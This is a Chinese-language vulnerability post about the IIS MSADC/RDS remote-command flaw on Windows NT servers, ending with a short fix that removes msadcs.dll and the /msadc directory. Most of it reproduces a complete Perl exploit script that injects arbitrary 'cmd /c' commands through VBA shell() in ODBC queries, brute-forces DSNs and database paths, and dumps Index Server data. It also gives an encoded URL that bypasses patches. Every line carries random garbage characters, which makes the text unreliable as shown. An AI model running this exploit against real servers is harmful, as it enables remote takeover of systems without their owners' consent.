IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
QR,i
b <Z0Tz6/j, 涉及程序：
KT|$vw2b Microsoft NT server
`bx gg' V */ qv} 描述：
c[;I\g 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
<vj&e(D ^ &XZ>}^lD^ 详细：
/Ia#udkNMp 如果你没有时间读详细内容的话，就删除:
JY_' d,O c:\Program Files\Common Files\System\Msadc\msadcs.dll
4e5Ka{# < 有关的安全问题就没有了。
"OWq ]q# fa!iQ fr 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
",K6zALJ *D9QwQ
_| 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
ukPV nk 关于利用ODBC远程漏洞的描述，请参看:
'7xY ,IY f"PApV9[ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <ZnAPh {X< t Uco 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
DG&
kY+ http://www.microsoft.com/security/bulletins/MS99-025faq.asp %f>V\z_C XBD lQe|> 这里不再论述。
S[%86(,*gP E >7[ti_p5 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Sx pl% ]6(NeS+ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
a{{([uZ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
ho0T$ hB uEk$Y=p7! ` zTVup& #将下面这段保存为txt文件，然后: "perl -x 文件名"
z
|t0mS$ ` bg {\ .q #!perl
`4$" mO>+ #
'|6j1i0x # MSADC/RDS 'usage' (aka exploit) script
{Ynr(J. #
BG=h1ybz # by rain.forest.puppy
6>KDK<5NQ #
iHR?]]RF # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
<Z}2A8mjY # beta test and find errors!
J%%nv5y sKNN ahGjh use Socket; use Getopt::Std;
x0
3|L!n getopts("e:vd:h:XR", \%args);
:r!nz\%WW fUE jl print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
[P"#?7 N &"25a[x{B if (!defined $args{h} && !defined $args{R}) {
F_@PSA+ print qq~
P=V~/,>SZ! Usage: msadc.pl -h <host> { -d <delay> -X -v }
3VcG
/rf -h <host> = host you want to scan (ip or domain)
obY5taOw -d <seconds> = delay between calls, default 1 second
]"F0"UH, -X = dump Index Server path table, if available
6o
{41@v( -v = verbose
.( 75.^b2) -e = external dictionary file for step 5
K /. ;N.9 ]G&d`DNV Or a -R will resume a command session
#lF8"@)a-$ ^e)KEkh ~; exit;}
&i6WVNGy )6Hc Pso6 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
}oloMtp$ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
}Vk#w%EJ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
`@-H
; if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
qm8[ ^jO& $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
`WX @1 ]m if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^ WidA- ^!?W!k!:V if (!defined $args{R}){ $ret = &has_msadc;
UoBmS 5 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
1Hk`i%
x2(hp print "Please type the NT commandline you want to run (cmd /c assumed):\n"
XWH~o:0<2 . "cmd /c ";
[gx6e 44 $in=<STDIN>; chomp $in;
.kyp5CD}4 $command="cmd /c " . $in ;
p^MV< }kk w+z~Mz}Vz if (defined $args{R}) {&load; exit;}
2E;UHR M9M~[[
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
{f<2VeJ &try_btcustmr;
<$qe2Ft Uq ?45bvkCT print "\nStep 2: Trying to make our own DSN...";
NirG99kyo &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
[x{'NwP? { ZrIA+eH print "\nStep 3: Trying known DSNs...";
XE6sF U &known_dsn;
*@^9 ]$*$ Mj2`p#5wKh print "\nStep 4: Trying known .mdbs...";
$oDc &known_mdb;
o/t^rY y {m r!E if (defined $args{e}){
a9}7K/Y=d print "\nStep 5: Trying dictionary of DSN names...";
@FO= 0_ ;y &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
}%x 2Z{VF $3ps SQQo print "Sorry Charley...maybe next time?\n";
suiO%H^t exit;
1Tm,#o lkl+o&D9 ##############################################################################
<$metN~9j | KY6IGcqV sub sendraw { # ripped and modded from whisker
o"wvP ~H sleep($delay); # it's a DoS on the server! At least on mine...
!8~A ` my ($pstr)=@_;
pL 2P
. socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
UNY
O
P { die("Socket problems\n");
L6<.>\^Z" if(connect(S,pack "SnA4x8",2,80,$target)){
a=@]Ov/ select(S); $|=1;
S8>1l?UH print $pstr; my @in=<S>;
%wil' select(STDOUT); close(S);
GO4IAUA return @in;
pUF$Nq>og } else { die("Can't connect...\n"); }}
@:s (L] EC;R^) ##############################################################################
w eX%S&#? [L(qrAQ2|z sub make_header { # make the HTTP request
$y{r M%6JU my $msadc=<<EOT
(r*"}"ZG POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
`-Y8T\ User-Agent: ACTIVEDATA
f(S 9>c2 Host: $ip
ZQ1,6<^9i[ Content-Length: $clen
l;7T.2J'Z Connection: Keep-Alive
FT8<a }o 7up~8e$ _ ADCClientVersion:01.06
Oz{FM6 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
d b*yA@2Lg :Eb=jWA --!ADM!ROX!YOUR!WORLD!
>dK# tsp Content-Type: application/x-varg
@V}!elV Content-Length: $reqlen
F H byL\Q Dbl3ef EOT
@js`$ ; $msadc=~s/\n/\r\n/g;
*(g 0{V return $msadc;}
{Qba`lOkq R,8 W7 3 ##############################################################################
He9Er nixIKOnjC sub make_req { # make the RDS request
7?@ -|{ my ($switch, $p1, $p2)=@_;
awB+B8^ s my $req=""; my $t1, $t2, $query, $dsn;
u~8=ik n+T `a6AE S'w$ if ($switch==1){ # this is the btcustmr.mdb query
w !_6* $query="Select * from Customers where City=" . make_shell();
*/'j [uj
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
9 ;Qgby $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
2`^M OGYk B4/\=MXb elsif ($switch==2){ # this is general make table query
`T,^os #6 $query="create table AZZ (B int, C varchar(10))";
~F " w $dsn="$p1";}
#;0F-pt
Ua.%?V elsif ($switch==3){ # this is general exploit table query
j4wsDtmAU $query="select * from AZZ where C=" . make_shell();
|mQC-=6t;Y $dsn="$p1";}
uOAd$;h@_Z XUVBD;"f! elsif ($switch==4){ # attempt to hork file info from index server
Hb3..o: $query="select path from scope()";
<: >[24LJ{ $dsn="Provider=MSIDXS;";}
HDi_|{2^ Z&|Dp*Z elsif ($switch==5){ # bad query
7Hg;SK6t0 $query="select";
PDpuHHB $dsn="$p1";}
e}NB ,o # AH gY. $t1= make_unicode($query);
OIs! ,G| $t2= make_unicode($dsn);
6!@p$ pm)a $req = "\x02\x00\x03\x00";
]tNB^ $req.= "\x08\x00" . pack ("S1", length($t1));
w~~[0e+E $req.= "\x00\x00" . $t1 ;
%O9P|04]3 $req.= "\x08\x00" . pack ("S1", length($t2));
|JiN;
O+K $req.= "\x00\x00" . $t2 ;
jZk dTiI $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
JLGC 'mbJ return $req;}
[:/mjO K &,QBJx<# ##############################################################################
l!<(}?u9 'soll[J sub make_shell { # this makes the shell() statement
~zoZ{YqP return "'|shell(\"$command\")|'";}
Jq:Wt+a Lh-+i ##############################################################################
ikb;,Js !jg<
S >S5 sub make_unicode { # quick little function to convert to unicode
.7HEI;4 my ($in)=@_; my $out;
'#Q\p6G&_ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
$\aJ.N6rb return $out;}
3
jghV?I{T #iT3 aou ##############################################################################
_4LDzVjNRe ?s] ?2>p sub rdo_success { # checks for RDO return success (this is kludge)
m[%P3 my (@in) = @_; my $base=content_start(@in);
gMPvzBpP if($in[$base]=~/multipart\/mixed/){
$*j)ey> return 1 if( $in[$base+10]=~/^\x09\x00/ );}
0K N'\KE return 0;}
{3 BWT l M a|| ##############################################################################
hdpA& OteR JD ~]aoH sub make_dsn { # this makes a DSN for us
loD:4e1 my @drives=("c","d","e","f");
Q SvgbjdE print "\nMaking DSN: ";
A/OGF> foreach $drive (@drives) {
Bam 4%G5 print "$drive: ";
-K4 uqUp my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
[ z { }? "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
|iVw7M : . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
qSQsY:]j0 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
. WS 7gTw return 0 if $2 eq "404"; # not found/doesn't exist
H,)2 Ou-Wn if($2 eq "200") {
T*#< p; foreach $line (@results) {
npcL<$<6X return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
{WuUzq` } return 0;}
> M4QEv (y?`|=G-xT ##############################################################################
Y~
Nt9 L cC$E"m sub verify_exists {
Ekz)Nh)vGR my ($page)=@_;
JjG>$z my @results=sendraw("GET $page HTTP/1.0\n\n");
^oZD44$ return $results[0];}
$u{ 8wF/) <a=k"'0 ##############################################################################
Es+BV+x[.c ANd#m9(x sub try_btcustmr {
(L"G,l my @drives=("c","d","e","f");
Q 46sPMH+_ my @dirs=("winnt","winnt35","winnt351","win","windows");
@W!cC#u xJ)vfo foreach $dir (@dirs) {
PxgLt2dXa print "$dir -> "; # fun status so you can see progress
lR3JyYY{X foreach $drive (@drives) {
!Baq4V? KN print "$drive: "; # ditto
_" sFLe{
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
/N`E4bKBR $reqlenlen=length( "$reqlen" );
`L
{dF $clen= 206 + $reqlenlen + $reqlen;
\"mL LnK?
TY gn
X my @results=sendraw(make_header() . make_req(1,$drive,$dir));
fu7J{-<<R if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
!e:HE/&>i else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
6Er%td)f ' Y.s}Duj ##############################################################################
R6 dD17 qEB]Tj e [ sub odbc_error {
/,2${$c! my (@in)=@_; my $base;
[&p^h my $base = content_start(@in);
}_o!f V if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
3}X; WE ` $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
)6Qk|gIu( $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
OcGHMGdn $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4) ~ GHb return $in[$base+4].$in[$base+5].$in[$base+6];}
N;d@)h(N! print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
`) s>},8W! print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
_J`q\N
K $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
qddP -uN [vY? ! ##############################################################################
rWMG_eP: J2adA9R/, sub verbose {
C/x<_VJzN/ my ($in)=@_;
1A b=1g{ return if !$verbose;
#35@YMF print STDOUT "\n$in\n";}
. ;q 4<_ CJu3h&Rp ##############################################################################
T'nQj<dBt: v(2|n}qY sub save {
-l` 1j6 my ($p1, $p2, $p3, $p4)=@_;
_oJq32 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
|KxFi H print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
{Jl W1;Jc7 close OUT;}
pC'GKk 8 Ii9@ j1-g ##############################################################################
x0!5z1KQh aj<=]=hr sub load {
4_w+NI,; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
'9MtIcNb open(IN,"<rds.save") || die("Couldn't open rds.save\n");
v"&Fj @p=<IN>; close(IN);
x\Det$3Kx $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
dT9!gNvQ $target= inet_aton($ip) || die("inet_aton problems");
|Skk1 # print "Resuming to $ip ...";
yE e4{j$ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
EK6fd#J?1 if($p[1]==1) {
k~st;FO $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
zi*2>5g $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
1MCHwX3/ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
.iB ?: if (rdo_success(@results)){print "Success!\n";}
^"h`U'YC else { print "failed\n"; verbose(odbc_error(@results));}}
9j[ %Y? elsif ($p[1]==3){
+ fQ=G/ if(run_query("$p[3]")){
G,8LF/sR print "Success!\n";} else { print "failed\n"; }}
#Pz},!7 elsif ($p[1]==4){
TB
gD"i- if(run_query($drvst . "$p[3]")){
: qKx m( print "Success!\n"; } else { print "failed\n"; }}
5]&vs!wH exit;}
1YA _`_@w _tg&_P+k V ##############################################################################
&\$l%ic uo D 5q Cn^R sub create_table {
P{eL;^I my ($in)=@_;
MEQ :[;1 $reqlen=length( make_req(2,$in,"") ) - 28;
Z%Nl<i $reqlenlen=length( "$reqlen" );
-O2ZrJ!q $clen= 206 + $reqlenlen + $reqlen;
szC~?]<YY my @results=sendraw(make_header() . make_req(2,$in,""));
eyZ /%4'q return 1 if rdo_success(@results);
9tVA.:FOZ my $temp= odbc_error(@results); verbose($temp);
.VVY]>bJg@ return 1 if $temp=~/Table 'AZZ' already exists/;
?#^_yd|< return 0;}
r[zxb0YA cPxA
R]'U ##############################################################################
"qRE1j@%a 8 VJUaL@ sub known_dsn {
;/W;M> ^ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
;$ G.?r my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
XQhBnam%
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
WlF"[mU- "banner", "banners", "ads", "ADCDemo", "ADCTest");
]k%Yz@*S zxtx~XO foreach $dSn (@dsns) {
V t:]D?\3 print ".";
-y{o @ next if (!is_access("DSN=$dSn"));
q"5iza__H if(create_table("DSN=$dSn")){
(xJ6 : u print "$dSn successful\n";
8 kw`=wSH> if(run_query("DSN=$dSn")){
8oG0tX3i print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
1O1/P,u+ print "Something's borked. Use verbose next time\n";}}} print "\n";}
I_J;/!l= y88FT#hR|5 ##############################################################################
}u&.n
pc %0}qMYS sub is_access {
wAxXK94#3 my ($in)=@_;
;}{%|UAsx $reqlen=length( make_req(5,$in,"") ) - 28;
i Iq='xwa9 $reqlenlen=length( "$reqlen" );
2/qP:3) $clen= 206 + $reqlenlen + $reqlen;
u=feR0|8 my @results=sendraw(make_header() . make_req(5,$in,""));
<k'=_mC_ my $temp= odbc_error(@results);
Cs7YD~, verbose($temp); return 1 if ($temp=~/Microsoft Access/);
w{Wz^= ';
return 0;}
, gk49z9 ;BqYhi ##############################################################################
~]DGf( 7=t4;8|j; sub run_query {
j0!Z 20 my ($in)=@_;
1FUadSB5) $reqlen=length( make_req(3,$in,"") ) - 28;
"W;Gv I
$reqlenlen=length( "$reqlen" );
)_OKw?Zi $clen= 206 + $reqlenlen + $reqlen;
mc;Z#"kf my @results=sendraw(make_header() . make_req(3,$in,""));
F0%FX`b{{ return 1 if rdo_success(@results);
v' 7,(.E my $temp= odbc_error(@results); verbose($temp);
y]aV7
`] return 0;}
kt.z,<w5O xSZgQF~ ##############################################################################
{ wRs V=* 40N8?kQ}? sub known_mdb {
<\GP\G my @drives=("c","d","e","f","g");
W[[3'J TF my @dirs=("winnt","winnt35","winnt351","win","windows");
0 '`>2 0Y my $dir, $drive, $mdb;
k D S my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/=A?O\B7 [op!:K0 # this is sparse, because I don't know of many
k/YEUC5 my @sysmdbs=( "\\catroot\\icatalog.mdb",
jKZJ0`06q "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
yTwv2l;U "\\system32\\certmdb.mdb",
.t''(0_kC "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
I.TdYSB qz"di~ 7 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
BpZE "\\cfusion\\cfapps\\forums\\forums_.mdb",
'9%72yG "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
cq+|fg~Yy "\\cfusion\\cfapps\\security\\realm_.mdb",
$ 5ZBNGr "\\cfusion\\cfapps\\security\\data\\realm.mdb",
eWSA "\\cfusion\\database\\cfexamples.mdb",
fEE[h uG "\\cfusion\\database\\cfsnippets.mdb",
m8;;
O "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
3JM0 m ( "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
bmVksi2b "\\cfusion\\brighttiger\\database\\cleam.mdb",
9F)+p7VJq "\\cfusion\\database\\smpolicy.mdb",
T1jAY^^I "\\cfusion\\database\cypress.mdb",
yKF"\^`@ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
.'JO7of "\\website\\cgi-win\\dbsample.mdb",
% 1ZJi}~ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
&p=Uus "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Nw[T P
G5 ); #these are just
}.ZX.qYX foreach $drive (@drives) {
p/L|;c foreach $dir (@dirs){
)isz
}?Dj foreach $mdb (@sysmdbs) {
b?eIFI&w^l print ".";
G vMhgG=D if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
x9q?^\x print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
42E]&=Cet if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
UZ7Zz c#g print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
:,%~R2 } else { print "Something's borked. Use verbose next time\n"; }}}}}
p A7& 6U5L>sQ foreach $drive (@drives) {
0w 9)#e+JS foreach $mdb (@mdbs) {
>Lj0B%^EvM print ".";
l
Os91+.% if(create_table($drv . $drive . $dir . $mdb)){
VWf&F`^B( print "\n" . $drive . $dir . $mdb . " successful\n";
jWk1FQte if(run_query($drv . $drive . $dir . $mdb)){
-l)vl<} print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
7pf]h$2 } else { print "Something's borked. Use verbose next time\n"; }}}}
OP 0KK^# }
l# u$w& 1"tyxAo\ ##############################################################################
\6A Yx[| o; 5 J= sub hork_idx {
h=h4`uA9 print "\nAttempting to dump Index Server tables...\n";
# 4 UKkd print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
>dO1) $reqlen=length( make_req(4,"","") ) - 28;
8h"Val|qP $reqlenlen=length( "$reqlen" );
ramYSX@ $clen= 206 + $reqlenlen + $reqlen;
F6XrJ?JM my @results=sendraw2(make_header() . make_req(4,"",""));
MiHa'90{K if (rdo_success(@results)){
C#<b7iMg my $max=@results; my $c; my %d;
<% #Dwo} for($c=19; $c<$max; $c++){
tDw(k[aK@ $results[$c]=~s/\x00//g;
@GTkS!86 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
KA~eOEj M $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
khFr%u ?S $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
*UL++/f $d{"$1$2"}="";}
Xa o*h(Q@L foreach $c (keys %d){ print "$c\n"; }
V+`gkWe/ } else {print "Index server doesn't seem to be installed.\n"; }}
/`6Y-8e2 iM
\3~3' ##############################################################################
@ ;T|`Y=7 GZ=7)eJ~< sub dsn_dict {
80J87\) open(IN, "<$args{e}") || die("Can't open external dictionary\n");
3an9Rb V while(<IN>){
`Xs3^FJt $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
s"OP[YEke/ next if (!is_access("DSN=$dSn"));
LAs#g||M if(create_table("DSN=$dSn")){
i28WgDG)5 print "$dSn successful\n";
c_V^~hq if(run_query("DSN=$dSn")){
2fqg,_ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
XotiKCk|Aq print "Something's borked. Use verbose next time\n";}}}
(U_ `Q1Jo print "\n"; close(IN);}
uX/K/4 xE>jlr? ##############################################################################
^Pw tu ,gO}H)v]t sub sendraw2 { # ripped and modded from whisker
F# b^l } sleep($delay); # it's a DoS on the server! At least on mine...
5r2A ^<) my ($pstr)=@_;
\_v jc]? socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
IvZ,|R? die("Socket problems\n");
q\DN8IJ if(connect(S,pack "SnA4x8",2,80,$target)){
1>yh`Bp\= print "Connected. Getting data";
8'sT zB] open(OUT,">raw.out"); my @in;
,|}}Ml select(S); $|=1; print $pstr;
^uiQZ%; while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
pH9 xyN[:a close(OUT); select(STDOUT); close(S); return @in;
^5'pJ/BV } else { die("Can't connect...\n"); }}
s!IX3rz UWXl
c ##############################################################################
q"@>rU4 .#q]{j@Ot sub content_start { # this will take in the server headers
M&[bb $00j my (@in)=@_; my $c;
&xWej2a! for ($c=1;$c<500;$c++) {
d6+$[4w if($in[$c] =~/^\x0d\x0a/){
:kMF.9 U: if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
A:$4cacu9 else { return $c+1; }}}
1fH2obI~X return -1;} # it should never get here actually
PQd*)6K:A e S: 8Pn ##############################################################################
9 _oAs"w ,*kh{lJ sub funky {
`VrQ? s my (@in)=@_; my $error=odbc_error(@in);
Q]{ `m if($error=~/ADO could not find the specified provider/){
eF"k" Ckt' print "\nServer returned an ADO miscofiguration message\nAborting.\n";
eKUP,y;[I exit;}
h/oC9?v if($error=~/A Handler is required/){
<*Gd0 v% print "\nServer has custom handler filters (they most likely are patched)\n";
'" 4;;( exit;}
f6,?Yex8B if($error=~/specified Handler has denied Access/){
J))U YJ O print "\nServer has custom handler filters (they most likely are patched)\n";
/:;"rnvq exit;}}
h-<Qj,L{W cx ~XG ##############################################################################
^)E#
c )Drif\FF) sub has_msadc {
Bwc_N.w?3 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
[gDl<6a#4 my $base=content_start(@results);
6b1AIs8 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
b5S4C2Ynq return 0;}
9i46u 20 5{xK&[wR* ########################
der\"?_. {%oxzdP c 4 ; 2 解决方案：
FEO /RMh 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
a$5P\_ 2、移除web 目录: /msadc
